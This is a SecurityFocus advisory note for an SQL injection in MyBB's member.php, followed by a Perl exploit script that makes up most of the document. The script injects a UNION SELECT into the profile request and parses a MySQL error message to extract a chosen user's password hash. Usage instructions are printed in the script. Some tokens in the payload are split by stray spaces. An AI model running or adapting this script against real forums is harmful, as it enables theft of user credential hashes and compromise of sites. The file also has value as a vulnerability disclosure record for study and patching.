49 lines
No EOL
2 KiB
Perl
Executable file
49 lines
No EOL
2 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/14684/info
|
|
|
|
MyBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
|
|
|
|
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
|
|
|
|
#!/usr/bin/perl -w
|
|
use LWP::Simple;
|
|
## Vitem ##
|
|
if(!$ARGV[0]){
|
|
print "############# MyBB Member.php SQL Injection ##############\n";
|
|
print "## Coded By #\n";
|
|
print "################################################## ########\n";
|
|
print "## [+] Bug By W7ED - W7ED[at]hotmail.com #\n";
|
|
print "################################################## ########\n";
|
|
print "# Exmp:- perl file.pl mybb.net /mybb userid #\n";
|
|
print "################################################## ########\n";
|
|
exit;
|
|
}
|
|
###########
|
|
|
|
my $host = 'http://'.$ARGV[0];
|
|
|
|
## User ID ##
|
|
if(!$ARGV[1]){
|
|
$ARGV[1] = 1;
|
|
}
|
|
#############
|
|
|
|
my $userid = $ARGV[1];
|
|
|
|
print "[*] Trying $host\n";
|
|
|
|
## Forum Path ##
|
|
if(!$ARGV[2]){
|
|
$ARGV[2] = '/';
|
|
}
|
|
################
|
|
|
|
$url = "$ARGV[2]/member.php?action=profile&uid=lastposter&fid=-1,') UNION SELECT
|
|
password,password,password,password,password,passw ord,password,password,password,password,password,p
|
|
assword,password,password,password,password,passwo rd,password,password,password,password,password,pa
|
|
ssword,password,password,password,password,passwor d,password,password,password,password,password,pas sword
|
|
FROM users WHERE uid=$userid/*";
|
|
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
|
|
print "[+] Connected to: $host\n";
|
|
$page =~ m/mySQL error: 1054<br>Unknown column '(.*?)'/ && print "[+] User ID Is $userid And Hash Is :
|
|
$1\n";
|
|
print "[-] Unable to retrieve Hash\n" if(!$1); |